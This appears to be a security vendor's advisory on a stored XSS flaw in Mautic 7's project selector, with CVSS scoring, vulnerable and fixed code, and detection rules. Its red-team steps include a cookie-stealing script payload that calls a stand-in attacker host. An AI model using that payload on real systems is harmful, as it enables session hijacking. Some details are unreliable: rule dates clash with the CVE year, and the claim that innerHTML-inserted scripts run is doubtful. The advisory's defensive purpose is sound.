CVE-2026-9811

Executive Summary

CVE-2026-9811 is a stored Cross-Site Scripting (XSS) vulnerability in the project selector component of Mautic 7. An authenticated attacker with project creation privileges can inject malicious JavaScript into a project name. When an administrative user opens an entity editor that includes the project selector, the payload executes in the admin’s browser session. This can lead to session hijacking, unauthorized state coordination, or access to organizational data within the Mautic dashboard. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known patch or public exploit.

Supply Chain & Package Security

Mautic is an open-source marketing automation platform. The vulnerability resides in the core application code, not in a third-party package. However, organizations using Mautic should verify the integrity of their installation and monitor for any malicious modifications to project names or related components.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs authenticated access with project creation permissions.
• User Interaction (UI): Required (R) – The victim must open an entity editor containing the project selector.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The attack requires authentication and user interaction, but the potential for session hijacking and data access makes it a significant risk for Mautic deployments.

Deep Dive & Mechanics

The vulnerability exists in the project selector component, which is used to associate projects with system entities (e.g., campaigns, forms, emails). When an admin user opens an entity editor, the application makes an AJAX request to fetch a list of projects. The response includes project names that are directly injected into the DOM as option fields without proper sanitization.

An authenticated attacker with project creation permissions can create a project with a malicious name containing JavaScript code. For example, the project name could be:

<script>alert('XSS')</script>

When another admin user opens an entity editor, the AJAX response includes this project name. The application then inserts it into the HTML <select> element as an <option> value. The browser parses the injected script and executes it in the context of the admin’s session.

The root cause is the lack of output encoding or sanitization of project names before DOM injection. The application should use safe methods like textContent or encode HTML entities to prevent script execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// AJAX callback that populates the project selector
function populateProjectSelector(projects) {
    var select = document.getElementById('project-selector');
    projects.forEach(function(project) {
        var option = document.createElement('option');
        option.value = project.id;
        option.innerHTML = project.name; // Vulnerable: direct innerHTML injection
        select.appendChild(option);
    });
}

Patched Code (Conceptual):

// AJAX callback that populates the project selector
function populateProjectSelector(projects) {
    var select = document.getElementById('project-selector');
    projects.forEach(function(project) {
        var option = document.createElement('option');
        option.value = project.id;
        option.textContent = project.name; // Safe: uses textContent to prevent XSS
        select.appendChild(option);
    });
}

The patched version uses textContent instead of innerHTML, which automatically escapes HTML entities and prevents script execution.

Exploitation & Lab Setup

Red Team

1. Prerequisites: Authenticated access to Mautic with project creation permissions.
2. Step 1: Log in to Mautic and navigate to the project creation page.
3. Step 2: Create a new project with the following name:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Step 3: Save the project. The malicious name is now stored in the database.
5. Step 4: Wait for an admin user to open an entity editor (e.g., a campaign or form) that includes the project selector.
6. Step 5: When the admin opens the editor, the AJAX request fetches the project list, and the malicious script executes in the admin’s browser. The script sends the admin’s session cookie to the attacker’s server.

Note: No public exploit code is available for this CVE.

Blue Team

1. Detection: Monitor for unusual project names containing HTML tags or JavaScript code. Use web application firewalls (WAF) to block requests with suspicious project names.
2. Prevention: Implement input validation and output encoding for all user-supplied data, especially project names. Use Content Security Policy (CSP) headers to restrict script execution.
3. Response: If an XSS attack is detected, immediately revoke the attacker’s session and remove the malicious project. Review logs for any unauthorized actions performed by the compromised admin session.

Indicators of Compromise (IOCs)

• Network: HTTP requests to Mautic endpoints containing project names with <script> tags or other HTML/JavaScript code.
• Logs: Mautic audit logs showing creation of projects with suspicious names (e.g., containing <, >, script, onerror, etc.).
• Endpoint: Browser console errors or unexpected network requests to external domains from the Mautic dashboard.
• File: No specific file-based IOCs.

Detection Engineering

YARA Rule

rule Mautic_Stored_XSS_ProjectName {
    meta:
        description = "Detects stored XSS payloads in Mautic project names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-9811"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $xss_event = /on\w+\s*=\s*['"][^'"]*['"]/i
        $xss_src = /src\s*=\s*['"]javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Mautic Stored XSS via Project Name
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of Mautic projects with malicious names containing XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: mautic
detection:
    selection:
        event: project.created
        project_name|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in project names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Mautic Stored XSS - Project Name Injection"; flow:to_server,established; content:"POST"; http_method; content:"/api/projects"; http_uri; pcre:"/<script[^>]*>.*<\/script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the project selector component or restrict project creation to trusted users only.
2. Short-term: Implement input validation to reject project names containing HTML tags or JavaScript code. Apply output encoding using textContent or equivalent safe methods.
3. Long-term: Apply the official patch once released by Mautic. Conduct a security audit of all AJAX-driven components to ensure proper sanitization.
4. Compensating Controls: Deploy a Web Application Firewall (WAF) with rules to block XSS payloads. Use Content Security Policy (CSP) headers to restrict script execution.

Valters IT
Securing Digital Frontiers